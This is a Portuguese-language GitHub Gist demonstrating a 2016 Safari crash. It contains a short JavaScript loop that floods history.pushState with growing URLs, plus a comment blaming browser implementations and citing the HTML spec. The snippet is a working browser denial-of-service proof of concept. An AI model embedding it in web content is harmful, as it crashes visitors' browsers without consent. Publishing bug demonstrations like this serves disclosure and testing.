Created
January 25, 2016 23:47
-
-
Save suissa/d280b5a7c7b6452bf912 to your computer and use it in GitHub Desktop.
Crash no Safari fazendo um stackoverflow no Pushstate
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var total = ''; | |
for (var i=0; i<100000; i++) { | |
total += i.toString(); | |
history.pushState(0, 0, total); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Os navegadores provavelmente não implementaram isso corretamente:
fonte: https://html.spec.whatwg.org/multipage/browsers.html#dom-history-pushstate